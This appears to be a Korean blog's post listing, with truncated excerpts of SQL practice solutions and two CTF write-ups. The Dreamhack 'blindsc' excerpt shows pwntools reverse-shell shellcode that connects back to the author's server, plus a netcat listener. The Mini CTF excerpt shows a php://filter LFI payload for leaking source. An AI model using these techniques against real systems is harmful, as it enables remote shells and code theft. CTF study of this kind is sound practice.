전체 글 299

프로그래머스 SQL 고득점 Kit - JOIN

1. 주문량이 많은 아이스크림들 조회하기 SELECT F.FLAVOR FROM FIRST_HALF F LEFT JOIN ( SELECT FLAVOR, SUM(TOTAL_ORDER) AS TOTAL_ORDER FROM JULY GROUP BY FLAVOR ) AS J ON F.FLAVOR = J.FLAVOR ORDER BY (F.TOTAL_ORDER+IFNULL(J.TOTAL_ORDER,0)) DESC LIMIT 3 // 7월 아이스크림 총 주문량과 상반기의 아이스크림 총 주문량을 더한 값이 큰 순서대로 상위 3개의 맛을 조회하는 SQL 문 - JULY 테이블에서는 FLAVOR 외래키에 대해 그룹화를 해주어야 하며 - 7월에 안팔렸지만 상반기에서는 팔린 맛이 있을 수 있기에 IFNULL 처리를 해주었음 2..

web/SQL 2024.02.10

프로그래머스 SQL 고득점 Kit - GROUP BY

1. 즐겨찾기가 가장 많은 식당 정보 출력하기 SELECT R.FOOD_TYPE, R.REST_ID, R.REST_NAME, R.FAVORITES FROM REST_INFO R JOIN ( SELECT FOOD_TYPE, MAX(FAVORITES) AS FAVORITES FROM REST_INFO GROUP BY FOOD_TYPE ) AS F ON (R.FOOD_TYPE = F.FOOD_TYPE AND R.FAVORITES = F.FAVORITES) ORDER BY R.FOOD_TYPE DESC // 음식종류별로 즐겨찾기수가 가장 많은 식당의 음식 종류, ID, 식당 이름, 즐겨찾기수를 조회하는 SQL문 - GROUP BY를 통해 음식 종류별 MAX FAVORITES 수를 구할 수 있고, 이를 기반으로 ..

web/SQL 2024.02.08

프로그래머즈 SQL 고득점 Kit - SUM, MAX, MIN, ISNULL

1. 가격이 제일 비싼 식품의 정보 출력하기 SELECT * FROM FOOD_PRODUCT ORDER BY PRICE DESC LIMIT 1 - 혹은 서브쿼리와 MAX()를 이용해 풀 수도 있다 SELECT * FROM FOOD_PRODUCT WHERE PRICE = (SELECT MAX(PRICE) FROM FOOD_PRODUCT) 2. 가장 비싼 상품 구하기 SELECT MAX(PRICE) AS MAX_PRICE FROM PRODUCT 3. 최댓값, 최솟값 구하기 SELECT MAX(DATETIME) AS 시간 FROM ANIMAL_INS // 혹은 MIN(DATETIME) 4. 동물 수 구하기 SELECT COUNT(*) AS count FROM ANIMAL_INS 5. 중복 제거하기 SELECT..

web/SQL 2024.02.08

프로그래머스 SQL 고득점 Kit - SELECT

1. 평균 일일 대여 요금 구하기 SELECT ROUND(AVG(DAILY_FEE),0) as AVERAGE_FEE FROM CAR_RENTAL_COMPANY_CAR WHERE CAR_TYPE = 'SUV' - ROUND( 숫자|컬럼 등 , 자릿수 ) : 반올림하여 소숫점 아래 해당 자릿수까지 표 - AVG 함수 : 평균 구하기, 평균 구할 때 NULL 있다면 IFNULL(DAILY_FEE,0) 이런 식으로 넣어주어야 함 - 그룹별 평균 구하기 : SELECT job, AVG(sal) as avg_sal FROM emp GROUP BY job , 참고로 as는 컬럼명 지정 - 조건절 다양한 방법들 : WHERE CAR_TYPE IN ('SUV') , LIKE 'SUV' , REGEXP '^SUV$' 2...

web/SQL 2024.02.06

[Dreamhack Wargame] blindsc , randzzz, checkflag

Blindsc 이런 식으로 stdin, stdout, stderr 가 /dev/null 로 리다이렉션되어있고, shellcode 실행 가능할 때, reverse shell code 실행하면 된다 => python shellcraft 사용 from pwn import * p = remote("host3.dreamhack.games", 11938) context(arch="amd64", os="linux") shellcode = shellcraft.connect('내 서버 ip', portNUM) shellcode += shellcraft.findpeersh(portNUM) sudo service nginx stop nc -lvnp 80 내 로컬 서버에서는 동작중인 nginx 서버 종료시키고 80번 포트로 ..

Mini CTF - LFI, Command Injection, SSTI

LFI1 - 공격벡터 file inclusion 되는구나 파악 lfiflag.php는 flag를 출력해주지는 않기 때문에 code leak 하면 됨 => use php://filter - exploit 과정 php://filter 를 이용해 base64 인코딩된 파일 컨텐츠를 가져올 수 있음 ?p=php://filter/convert.base64-encode/resource=lfiflag.php 쿼리스트링으로 건네주면 PD9waHANCiRmbGFnID0gImZsYWd7eW91X25ldmVyX3NlZV90aGlzX2ZpbGUuLi53YWl0LHd1dD99Ijs= 이런 내용 출력되고 LFI2 - 공격벡터 서버의 루트 디렉터리 아래 readflag 바이너리 실행 후 그 결과 출력하면 됨 GET paramete..